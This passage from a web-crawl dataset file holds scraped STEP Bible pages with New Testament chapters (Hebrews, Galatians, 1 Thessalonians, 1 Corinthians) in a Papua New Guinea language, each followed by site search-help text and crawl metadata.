more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Cor.4","date":"2018-10-20T19:42:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583513384.95\/warc\/CC-MAIN-20181020184612-20181020210112-00126.warc.gz","language":"mmx","language_score":0.9999924898,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999924898147583}","num_words":1063,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.262,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebrews 51 Lavamaasa amgomgo axap Moroa i soxolik ka di xantubu at limixin kusu dina ru katling di at lugugu at ne Moroa. Dim taba leventamtaba ri tong loklox avukat ti ne Moroa la diplavang bok mi levempanga mi lavanuet kangkedek ti laxakapmek at limixin. 2 Lamaasa gomgo im suma leveloklok tong pen, kuren la i epovo do ni na suma rooro nedi di lok laxakapmek mila kopmen dinaklen i do mo levempanga i lok kapmek. 3 Ni lavasuun teren la lamaasa gomgo naba lok laplavang mi levempanga ri laxakapmek axa ren, la ri laxakapmek bok at limixin.\n4 Kopmen na epovo do tara na lok ka mo lugugu mi lavavara mun teren, ketla ne Moroa xa naba soxolik ka i ngan neni ga soxolik ka ne Aron. 5 La ne Karisito bok kopmen goxo xip ka mo lugugu silok at lamaasa gomgo mi lavavara ren. Ketla ne Moroa ga lok tin keretna,\n\"Nenu ne Nuruk, ningina nenia a lok ngan ne Tamam.\" a\n6 La at loxot petpes at Lovoang Kaala Moroa ga lok bok tin keretna,\n\"Nenu Lamaasa Avolo ngan ne Melkisedek, la kopmen taxavaxap at lugugu ram.\" b\n7 Ap mo levenaleng ne Iesu ga rooro ren at na lavatbung menemen, neni ga sing eburu mi lerengteng silok ti ne Moroa do na lox arooro i basinge lanmet, la ne Moroa ga sepo lisingising teren la ga lox alolos i mila neni ga lox asi i maxopok at lavavara at ne Moroa. 8 I ruturun do neni ne Nitna ne Moroa, ketla mo losongsongot neni gap kiv i, ga lox epovo i xusu na mu asu lavavara at ne Temen. 9 Kerepmo la ne Moroa ga lox agagas li i, la neni ga ravasu ngan ta lavasuun at lorooro avolo rinedi ding tonga res teren, 10 la ne Moroa ga lok li i ngan Lamaasa Avolo ngan ne Melkisedek.\nNemen Mita Subu Kot Kantubu11 Ma ruuna laxalinga solo mumu ne Iesu ngan Lamaasa Avolo, ketla naba lolos ti mus na levelinga rinimi mila lodoxoma atnimi kopmen na gagas ti lok ka na levenanasa. 12 At na levenaleng i epovo do mina lok ka lugugu ri anasa limixin mi levelinga at ne Moroa; ketla kopmen mina epovo mila move mik pakes kusu tara na lox ase amu manga nimi mi levenanasa avot at levelinga at ne Moroa. I lok ngan ta do nemi move mi lok ngan lubung kadede, di tus at luvutnen di; kovisi mina epovo kusu mina anan leveluxa lolos. 13 Lara do i rooro mi ladan tus at nenen, i ngan laxadede; i lok ngan ta do nemi xovisi mina ven kibis levempanga i lox avukat la levempanga i lok kapmek. 14 Ketla tinedi dira mukun pam at lunuunu atdi, di epovo dina ven kibis levempanga i lox avukat la levempanga i lok kapmek, mila dik lok kaka amisik levelinga at ne Moroa.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Heb.5","date":"2018-10-22T20:24:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583515539.93\/warc\/CC-MAIN-20181022201445-20181022222945-00249.warc.gz","language":"mmx","language_score":0.9999150038,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999150037765503}","num_words":628,"character_repetition_ratio":0.062,"word_repetition_ratio":0.006,"special_characters_ratio":0.217,"stopwords_ratio":0.291,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Galatians 5\nLesepsepmus Atnedik Keneng At Ne Karisito1 Nedik di sepmus tinotno, mila ne Karisito gara lox asepmus pam nedik basinge leveloklok la leventaangas at Lenavolo. Kuren la mina tu lolos at lunuunu atnimi, la mi guta ke xepe bok ba lorooro atnemi la nak lok ngan manga lavaanat saxaruki at Lenavolo.\n2 Mina ronga avukar i na. Nenia ne Pol a tong tinotno i rinemi do, amo do mina doma i do mina vit kepe lengkontuxu atnemi, naba milik ngan keretna do, lugugu at ne Karisito ixo epovo na lok tooro nimi. 3 Ana vaase aronga amu bok nemi xeretna; do taradi na siam min kusu dina vit kepe toxontuxu ren, i epovo rinotno do mo laradi na mumu asu axap Lenavolo. 4 La nemi mi lolos tinotno xusu mina sepmus basinge laxakapmek atla mi mumu asu Lenavolo, nemi mi lok ngan ta do, mi ra korop pes axa nemi basinge ne Karisito. La nemi mik lok ta maxamang at letaba nabalamu at ne Moroa. 5 Ketla nema na ma ruuna lugugu at lolos at Loroonan keneng at lunuunu atnema ma ngangais mi lomomo ri mo laaleng lorooro atnema nabak mokso rinotno. 6 Do nema mak lox eburu mi ne Iesu Karisito, mo leveloklok ti rivit kepe lengkontuxu kopmen lavanga silok; ixo lok petpes tinotno xantubu at taradi diga vit kepe toxontuxu ren la tara di goxo vit kepe toxontuxu ren. Ketla legesa vanga mene nga i silok aleng, neni lunuunu la labalamu i ravasu ren.\n7 Gano nemi miga mumu asu avukat tinotno levelinga at ne Moroa. Ketla lavanga sala gara sep pepe bok ba nemi xeneng at lorongtonga res at luruturun? Nege gara sat amlong bok ba lodoxoma atnemi? 8 Ixo epovo rinotno xusu ne Moroa na lox i na rinemi, neni xa ga ro xaka nemi ri langas sepmus. 9 La lere avolo i lok keretna, \"Tegesa radi mene atnemi naba lok nemi la mina ekip kaxat ti langas petpes.\" 10 Keneng at Leeme Silok nia a nuunu rinotno do nemi mi noxo mu bok ba langas petpes, la neni no nege ga lok ekarakat lodoxoma atnemi, ne Moroa naba lok li lumumuat teren.\n11 Luvutnetak mi luvurinuk. Lentaba di tong i do nenia move a vavang do loklok ti rivit kepe levengkontuxu i lox avukat. Do kuren, tila ba la leme Judaia move di lox asongor ia? Dola amo langas ti rivit kepe lengkontuxu i ruturun, naba milik ngan ta do levempavang tarak mumu laxaba at ne Karisito, noxo vaxaru kaxat tepenekarakat. 12 Nia a lok do mo limixin dik lox ekarakat lodoxoma atnemi, di noxo repes basinge mo loklok; i lox avukat do dina mumu asu mo loklok la dina vit kepe axap ta i.\nLorooro Keneng At Loroonan Kaala13 Luvutnetak mi luvurinuk. Lorotoro gak lok tinemi xusu minaba sepmus basinge leveloklok la leventaangas at Lenavolo. Ketla nemen gat mi guta ke na loklok at lesepsepmus basinge Lenavolo na lok ngan mun lavanga ri sisiam avolo nemi xusu lorooro at labantuxu atnemi na sasat nemi. Ketla mina ke labalamu ri lok tooro nemi xusu minaba elok tooro ela, 14 mila lasangaun Lenavolo axap dik lok mene nga at legesa ngas linga xeretna, \"Una balamu limixin ngan pam do u balamu axa u.\" 15 Ketla do minap tuvuk ngan lempanga mi lavanuet lengkangkedek atdi la minak lox asongot ela axa nemi, mina memek avukat, atla lavanga mina eso reles.\nLoroonan Eburu Mi Lorooro At Labantuxu16 Na levelinga nenia a vaase i, i lok keretna; mina lok ka loklok at Loroonan Kaala la mi noxo vavara solo levendoxoma at labantuxu atnemi; 17 atla levempanga labantuxu atnedik i vavara i, neni i lok petpes ti levempanga Loroonan i vavara i; la levempanga Loroonan i vavara i, i lok petpes ti levempanga labantuxu atnedik i vavara i. Nedu na dixo vepen, la Loroonan Kaala i lok nemi xusu mi noxo lok lempanga, labantuxu atnemi i vavara i. 18 La amo do Loroonan im lam nemi, nemi mixok lok bok ba at loxokoxo at Lenavolo.\n19 La levendoxoma xapmek i ravasu at labantuxu, i xasep tinotno at lemeren limixin. La i lox asuusu rinotno loklok kakapmek maxamang at lixitkis epot, la lengkot mamangan la leveloklok petpes i lok kapmek; 20 loklok ti lotu saparap laxampoovo vanga la lasangsanga xapmek. La limixin ua di munepen la dira vesep; la levereven peves eburu mi lebelemamao la laradi itlasi polo limixin axap. La levenekarakat la loklok ti vepeseves ti lara nep binam axap; 21 la loklok ti ngaongao ri levempanga at leventaba vetpes, la di vavara inin kadan lolos amisik la di lok levenanan kapmek, la mo bok lekampanga vetpes bok keretnom. Amo nga a vaase aronga nemi ngan aga vaase aronga vam nimi gano do nedi dik lok na levempanga, di noxo ravasu ngan lavaanat at Linintoo at ne Moroa.\n22 Ketla mo lara i ruuna Loroonan Kaala at lorooro ren i pisik asu labalamu, lomomo, lenmila, loklox atnaasan, loklox anare, luvukat, loklok tuturun, 23 loklok mulus, la lodoxoma avukat ti sasar i. Kopmen bok ba tevelinga go i ru pepe nedi na levempanga. 24 La nedi limixin at ne Iesu Karisito, digara ke xepe vam lorooro maut la levendoxoma xapmek eburu mi lavavara at labantuxu atnedi. 25 Loroonan Kaala gara raba vam nedik mi lorooro, kuren la ata ke i namgo nga lorooro atnedik. 26 Nemen gat nedik guta simi aurut nedik kopla ata velox abelemamao ela minedik kopla ata reven peves mumu lempanga vetpes at lentaba atnedik.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Gal.5","date":"2018-10-16T00:17:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509958.44\/warc\/CC-MAIN-20181015225726-20181016011226-00374.warc.gz","language":"mmx","language_score":0.9999711514,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999711513519287}","num_words":1047,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.232,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Thessalonians 4\nLoklok Ne Moroa I Momo Aleng Tin1 Nia ana lox axap levelinga rak. Luvutnetak mi luvurinuk. Maga lox ase vam nimi mi lavatpas at limixin di nuunu xusu mina rooro avukat la mina lok mo levempanga avukat ne Moroa i vara i. Mik lox i xerepmo, ketla ma sing nimi at lemeren Leeme Silok, ne Iesu keretna; mina lolos kusu lorooro atnimi naba lox avukat axap. 2 Mi xasep pam at levelinga at Leeme Silok, ne Iesu, maga tong i rinimi.\n3 Moroa i vara i do lorooro atnimi na xaala aleng. Mina ke xepe loklok ti elongka la loklok kakapmek maxamang at lixitkis epot. 4 Nemi getgesara mina xasep at loklox avukat ti epot kaka tatkin la mina lox i nom mi loklok nunuan. 5 La kerepmo nemen mita mumu asu mo loklok kakapmek atnedi dixoklen ne Moroa. 6 La kerepmo bok nemen mita lok kapmek lixitkis at luvutneton nimi di nuunu at ne Iesu. Maga tong axasep pam i do Leeme Silok ne Moroa naba lox asongot nedi di lok kapmek lixitkis epot. 7 Moroa ga ro ka nimi xusu mina dadat aleng, kopmen do ri lox abilinga lorooro atnimi. 8 Kuren la nedi mo di noxo ronga res at na levelinga atnama, dixo lok tavanga rinama, ketla di lox abulubun kepe levelinga at ne Moroa, mo ga raba nemi mi Loroonan Kaala ren.\n9 Nema noxo malagan tevelinga mumu labalamu atnimi saparap limixin nuunu; mila ne Moroa ga lox ase vam nimi do mina ebalamu ela. 10 Luvutnetak mi luvurinuk. I ruturun do mi balamu nedi axap luvutneton dik to at lenep silok Masadonia; ketla ma tong alolos i rinimi do mina balamu aleng di. 11 La mina lolos kusu minat kis mulus at lorooro atnimi la mina lok tatao avukat levempanga atnimi; mina gugu xusu mina lok kaka levempanga mik pakes tin at na lorooro. Mina lox i na xerekngan magara tong pam i rinimi gano. 12 Kerepmo lavamolon diba lok ngangao atnimi la mi noxok pakes ti loklok tooro at limixin petpes.\nLeeme Silok Naba Ro Xaka Limixin Teren13 Luvutnetak mi luvurinuk. Ma vara i do mina xasep mumu nedi digara met pam; la ma xopara i do minak lok bukbulu xerekngan nedi limixin kopmen dina nuunu at ne Iesu Karisito. Do tara atdi na met, di lok bukbulu aleng mila dixo doxoma voovo ri lorooro melemu. 14 Ketla nedik ta nuunu do ne Iesu ga met la ga roo xat bok, kuren la ata nuunu do ne Moroa naba ro xaka nedi limixin nuunu diga met pam; la dinabat pas eburu mi ne Iesu uto vana at laxalibet.\n15 Na lavapaase axasep boro at Leeme Silok. Nedi limixin nuunu move di rooro at lomlong at Leeme Silok, di noxomgo avot upana rinedi diga met pam. 16 Ap mo laaleng limixin dinaba ronga luxupkup lolos la laangelo gomgo naba toro, la luru at ne Moroa nabang teng, la Leeme Silok naba si ukopok boro vana at laxalibet. La nedi limixin nuunu diga met pam, dinaba roo xat amlong la dinaba urut avot. 17 La nedi limixin nuunu move di rooro ap mo laaleng, dinaba urut la dinaba vot pasa nedi digamgo vam at labantakabu; la dinaba ekip tangarang mi Leeme Silok to at lamavangkap la nedik tanaba nemen amisik eburu min. 18 Kuren la mina elok tooro ela mi na levelinga xeneng atnemi.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Th.4","date":"2018-10-16T12:28:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583510749.55\/warc\/CC-MAIN-20181016113811-20181016135311-00024.warc.gz","language":"mmx","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000052452087402}","num_words":619,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.271,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corinthians 16\nLevenetaba Ri Luvuttadi Nuunu1 Nanga a vara i do ana vaase rinimi mumu levempilas miga malagan axasep min tia xusu ri lok tooro limixin at ne Moroa di nemen to Judaia; mina lox i ngan nia agara vaase vam i ri limixin at laraugu lotu ro at lenep silok Galesia xusu dibak lox i. 2 Amisik at levenaleng kaala nemi getgesara mina lili levempilas i epovo mina xape i. La mina gagas li i xuren, kusu nenia a noxo sing pilas atnimi mo laaleng nenia ba vot pasa nimi. 3 Melemu do nia ana vot, nenia aba riki tuvuttadi uto Jerusalem, la anaba malagan taba mo luvuttadi migara siam pam midi mi levelinga loklox axasep kusu ridi rip kip laramtaba atnimi. 4 Mo do nenia ana lok mulus tit pas ugo, nedi bok diba emu eburu minia.\nLevendoxoma Alii At Ne Pol Kusu Ri Lempatpas Teren5 Nia aba vot pasa nimi melemu do nenia anat pas keneng at lenep silok Masadonia ketla a noxo nemen abao go. 6 Agut aba nemen eburu minimi go at teventaba teven gaaling, kopla at leven gaaling axap at lamdut kusu nemi miba lok tooro ia at lavatpas tarak dom at levengkot salai nia anat pas teren. 7 Axo vara i do ana vot pasa nimi monga la ana nemen eburu minimi at teventaba tevenaleng mene. A doxoma i do aba nemen eburu minimi at teventaba teven gaaling abao, mo do Leeme Silok na siam.\n8 Ketla nia aba nemen nade Epesas se at laaleng at la Pentikos, 9 mila langas ira rem suang pam tia ri lok leven gugu silok ketla buaang bok limixin di ru pe lugugu rak.\n10 Mo do ne Timoti na vot pasa nimi, i lox avukat do mina seega rangarang i, mila neni mo ik lok lugugu at Leeme Silok, kerekngan mun ia. 11 Nemen gat tara na lox abulubun kepe i, ketla mina lok tooro i xusu ri lok mo lavatpas teren keneng at lenmila, kusu neni nabamlong bok ude saparav ia; la a doxoma i do neni nabamlong eburu midi luvuttadi nuunu.\n12 Ti neton nedik ne Apolos. A sing alolos i xusu naba vot pasa nimi eburu midi leventaba luvuttadi nuunu; ketla neni i xopara rinotno xusu ni mo nat pas ta. Do tevenaleng na sepmus tin, neni nabat pas.\nLevelinga Loklox Alolos13 Mina lok tatao avukat amisik lorooro atnimi. Mina tu tuxuruxun at lunuunu atnimi la nemen mita marat. 14 At lorooro axap atnimi mina lox asuusu labalamu.\n15 Miklen ne Stiven midi loxoetemen, nedi avot diga lok ka lorooro maxat to Grik, la nedi xa diga raba axap pam di ri lugugu at ne Moroa xantubu at limixin teren. La a sing nimi, luvutnetak mi luvurinuk, 16 kusu mina mumu asu levelinga at luvuttadi xerepmo, la atnedi bok di gugu eburu midi.\n17 A momo ri lovotpot at ne Stiven la ne Potunatas, la ne Akaikas boro atnimi e, mila dira ru katling pam nimi. 18 La dira lox axis saga labalak kerekngan ta diga lox axis saga lebelen nimi. Luvuttadi xeretna mina lok ngangao aleng atdi.\nLevelinga Loklox Axap19 Limixin nuunu at laraugu lotu xeneng at lenep silok, Asia di lox aonon lomomo atdi saparap nimi. Akuila la ne Pirikila la limixin nuunu dit pot buru amisik to at loogu atdu, di lox aonon bok lomomo atdi. 20 La nedi axap bok luvutnetak nade at laasen at ne Karisito di lox aonon bok lomomo atdi. Mina eseega rangarang mi lenetnes i xaala.\n21 Nenia axa ne Pol a malagan i na mi lakngak akmokso. Lavapaase momo rinimi. ▼\n▼ Pol ga sok mene na lavapaase momo, la lara vetpes ga malagan levelinga keneng at na lovoang, ne Pol ga vaase i min.\n22 Do nege xopmen na balamu Leeme Silok atdik, lasaxaek naba nemen teren.\nLeeme Silok atnema, unamlong.\n23 Letaba nabalamu at Leeme Silok atdik ne Iesu na nemen eburu minimi.\n24 Labalamu rak nak lox eburu minemi axap keneng at laasen at ne Iesu Karisito. I ruturun.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Cor.16","date":"2018-10-21T01:39:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583513548.72\/warc\/CC-MAIN-20181021010654-20181021032154-00475.warc.gz","language":"mmx","language_score":0.9998553991,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9998553991317749}","num_words":808,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.202,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"aLen 17:7; 19:19\n1 Corinthians 5\nPol Ga Paase Mumu Loklok Kakapmek Ga Nemen At Lotu1 Aga ronga i do loklok kakapmek maxamang at lixitkis epot mo i nemen kantubu atnimi, la na loklok it pospa aleng; la kopmen tavanga xerepmo na nemen kantubu at lavamolon. Aga ronga i do lara laradi mo i nemen eburu mi latkin sev agepura at ne temen. 2 Ua lavasuun teren la mi lok do mi silok, la kopmen mina doma mumu na laxakapmek silok i nemen kantubu atnimi? I epovo do nemi mina bulu la mina riki pes nom laradi bilinga basinge luruburu at lotu atnimi. 3 Nenia a nemen paxalom basinge nimi, ketla a doxoma suu amisik atnimi at loroonan tarak, la kerepmo i lok ngan ta do nenia a nemen eburu minimi dom Korin; la keneng at laasen at Leeme Silok atdik ne Iesu, nenia ara lok li vam lumumuat at nom laradi ga lok mo lavanga bilinga. I lok ngan ta do nenia mo a nemen eburu minimi. 4 Do mina vot eburu at laasen at Leeme Silok ne Iesu, ba lok ngan ta do a nemen eburu minimi, la lololos at Leeme Silok atdik ne Iesu mo ba nemen eburu midik. 5 Ap mo laaleng mina song araba ne Satan mi nom laradi xusu ni na suma ka losongsongot ap mo loklok kakapmek teren la kerepmo neni naba roo suu ap mo laaleng Leeme Silok namlong teren.\n6 Nemi mi lok do loklok atnimi i lox avukat la mi silok aleng, ketla kopmen. Ixok mokso rinimi xusu mina ke xepe nom laradi i lok nom loklok. Miklen levelinga i lok keretna, \"Laxakapmek kakalik at legesa radi naba lok kapmek limixin axap.\" 7 Mina lok pes nom loklox asilok basinge lotu atnimi xusu miba nemen avukat tinotno ngan lavavara at ne Moroa. I lok ngan gano leme Judaia diga nemen to Isip, diga sep ka levempatnat sipsip atdi xusu ri lok pe lumukmusak at ne Moroa la nedi limixin di goxo met. La kerepmo ne Karisito i ngan lavatnat sipsip ga uu nop loklok atdik ngan laxaavuk tidik. 8 Kuren la limixin me Judaia dik lok katling amisik mo laaleng ne Moroa ga lam asu di basinge lemenemen Isip. La kerepmo dik ata doxoma amisik mo loklox arooro atdik, la ata lok kepe laxakapmek la ata lok kaka luruptuvuk i dadat la ik mokso aleng.\n9 Ap mo lavapaase aga lox aonon i rinimi, aga tong i rinimi do nemen gat mita etangas eburu mi limixin at lotu di lok laxakapmek maxamang at lixitkis epot. 10 Axo tong limixin maxamang at lotu di nemen kuren kopla limixin dik lok papavas, kopla limixin sepsep paxat panga, kopla nedi di lotu saparap laxampoovo moroa. Ixo epovo do mina nemen petpes basinge limixin kerepmo, mila limixin kapmek di umsu at na lavatbung menemen. 11 Lavasuun at levelinga rak i lok keretna, nemen mita etangas eburu mi laradi lotu, neni laradi i lok laxakapmek maxamang at lixitkis epot, kopla ik lok papavas la i lotu saparap laxampoovo moroa, ik lox asi lentaba vetpes mi levelinga, la i inin tangtangku, kopla ip sep paxat panga. Nemen mita etangas eburu mi laradi ik lok kerepmo la nemen gat mitat kis eburu min kusu ri anan.\n12 Kopmen lugugu rak kusu ana ila mumu loklok atnedi lavamolon, ketla lugugu atdik kusu ata ila mumu loklok atnedi di nemen keneng at lotu la di lok laxakapmek kerepmo. 13 Ne Moroa xusuk mun naba ila mumu nedi lavamolon. I ngan Lovoang Kaala i tong i xeretna,\n\"Nemi mina ila mumu loklok ap mo laradi xapmek la mina lok pes i basinge lotu atnimi.\" a\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Cor.5","date":"2018-10-23T20:03:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583517376.96\/warc\/CC-MAIN-20181023195531-20181023221031-00127.warc.gz","language":"mmx","language_score":0.9999709129,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999709129333496}","num_words":752,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.233,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebrews 7\nMelkisedek Neni Lamaasa1 Na leeme ne Melkisedek, gano neni loorong silok to Salem la neni lamaasa at ne Moroa i silok aleng. Neni ga ekip tangarang mi ne Abaram at laaleng ne Abaram eburu mi limixin teren digamlong boro at leesep no diga sep kepe leventaba lavaorong silok la limixin atdi; la ne Melkisedek ga lox anarong i. 2 La ne Abaram ga raba ne Melkisedek mi loxot i sev asangaun ap mo levempanga neni ga lok kaka i ap mo lavaorong silok.\nAvot, lavasuun at laasen ne Melkisedek do, \"Loorong silok at loklok mokmokso;\" la laasen bok do loorong silok boro Salem i epovo mi levelinga xeretna, \"Loorong silok at lenmila.\" 3 Nedik kopmen ataklen leretere at ne temen mi nenen la leretere at lavalabat teren, la dik taxoklen i do diga visix i la ni ga met lingisa. La kerepmo Nitna ne Moroa i lok ngan ne Melkisedek, mo i nemen amisik ngan lamaasa.\n4 Mina doma i do ne Melkisedek ga silok aleng. Ataklen i do neni ga silok mila ne Abaram, Temen nedi lubungmixin me Israel ga raba i mi loxot i sev asangaun ap mo levempanga ni ga lok kaka i at laaleng neni ga esep eburu mi lavaorong silok. Mo loxot ga lox avukat aleng. 5 Lenavolo i tong i do livipisik li at ne Levi mo digap kip lugugu ngan lavamaasa, dinak lok ka loxot i sev asangaun boro xa at limixin atdi, keke i do nedi axap mun livipisik li at ne Abaram. 6 Na laradi ne Melkisedek, neni goxopmen livisik li at ne Levi, ketla neni ga lok ka loxot i sev asangaun boro at ne Abaram, ni ga ruuna ka lavapaase alii boro at ne Moroa la ne Melkisedek ga lox anarong i. 7 La i ruturun aleng do lara i silok, neni na lox anarong mo lara i lixilik tin. La kerepmo ne Melkisedek ga silok ti ne Abaram. 8 La nedi limixin me Israel diga raba loxot i sev asangaun ti lavamaasa; mo lavamaasa di goxo rooro amisik, ketla ne Melkisedek nedik kopmen ataklen i do neni ga met, limixin di lok do move i rooro. 9 I epovo na tong i do ne Levi la lavamaasa melemu ren, dik lok kaka loxot i sev asangaun boro at limixin me Israel, nedi xopmen na silok ti ne Melkisedek, mila lurubuno di ne Abaram ga raba ne Melkisedek mi loxot i sev asangaun. 10 I epovo ana tong i xuren mila ap mo laaleng ne Abaram ga raba ne Melkisedek mi loxot i sev asangaun, i lok ngan ta do ne Levi mi lavamaasa melemu ren diga raba ne Melkisedek mi loxot i sev asangaun, keke i do luvutnen di goxovisi visik di.\nIesu Neni Lamaasa Ngan Ne Melkisedek11 Limixin me Israel di goxo epovo do dina dadat basinge laxakapmek mila xopmen di goxo epovo xusu dina mu asu avukat leventaangas la levelinga at lavamaasa mo digak lok at libibinat at ne Levi; mo leventaangas, ni lavasuun at Lenavolo, ne Moroa ga raba limixin me Israel min. Kuren la limixin digak pakes ti lamaasa vetpes kusu na vot, la ba lok ngan ne Melkisedek; neni noxo lok ngan ne Aron mi lavamaasa at libibinat at ne Levi. 12 La ne Moroa ga soxolik ka Lamaasa vetpes kusu na lox adadat limixin basinge laxakapmek, kuren la neni ga lox ekun Lenavolo mi lekabus maxat, mila do tara na lox ekun leventaangas at lavamaasa, neni na lox ekun bok Lenavolo. 13 La mo Lamaasa vetpes, neni ne Iesu la neni at libibinat petpes la goxopmen tara ap mo libibinat ga ruuna ka lugugu ngan lamaasa. 14 I xasep do Leeme Silok atdik, neni at libibinat at ne Juda, la ne Moses kopmen goxo tong i do teventaba at na libibinat naba ravasu ngan lavamaasa. 15 La levelinga atnama mumu lekabus maxat i xasep aleng mila lamaasa vetpes kerekngan ne Melkisedek gara vot pam. 16 Lenavolo i tong i do, nedi mun at libibinat at ne Levi, di epovo xusu dina xip ka lugugu ngan lavamaasa. Ketla ne Iesu ga lok 